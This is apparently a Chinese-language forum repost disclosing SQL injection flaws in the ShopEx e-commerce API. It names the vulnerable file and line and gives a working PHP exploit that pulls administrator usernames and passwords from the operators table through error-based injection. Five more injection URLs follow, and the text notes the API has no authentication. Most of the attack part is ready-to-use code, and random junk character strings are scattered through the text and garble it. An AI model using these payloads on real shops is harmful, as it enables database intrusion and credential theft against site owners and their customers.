|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
# d. Z$ R, |; q+ h4 }" K' Ucore\api\payment\1.0\api_b2b_2_0_payment_cfg.php8 e! u9 }1 I( ?
" F; o: ? ]9 b8 f6 r+ o
第44行 $data['columns'] 未做过滤导致注入, Q0 Z+ E8 ]; p; X
8 ^8 |/ @/ h; [) D<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
( A9 {4 o$ Z, f
' A5 a3 E3 Q' f注射1:
- V3 C% `6 A$ [: K& v/ w1 f& {7 {6 d) J) |
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
# f5 {+ n& @. b3 D7 C: E4 r! x& p) S1 i) v" V
注射2:
; C4 T7 B3 ^" d% z" w" |http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
: I4 P8 z6 Y$ b- h6 B! T( c5 ^) ]6 ^+ `# L. j: U6 m
注射3:! v1 I K; n1 Q1 U7 p* {- u4 \" ?
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx" u. B6 l4 ^; c0 B% n( S' a
注射4:" C: [2 o3 q5 M$ e
4 f0 v6 \, T0 Z& x/ q3 r
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=13 q# ?" @4 z$ S, p
, m X. ~* R [2 |! {& {' C: Z8 V v- ]' k5 \+ }, h
注射5:
- o9 K i( @% g* j) c) x http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx
7 C1 V# L# O; t5 L6 C' L% D$ q$ {$ q7 _$ ~; o
. K! b! x: _2 ^1 u7 l) Q
( i" g6 F& G7 B1 D; e8 h& [: S: O; T! m# M) c. @( a! c
2 i1 |2 F6 Q/ e0 k6 ]% w
, e3 } Y! }5 W; F+ ~ |
|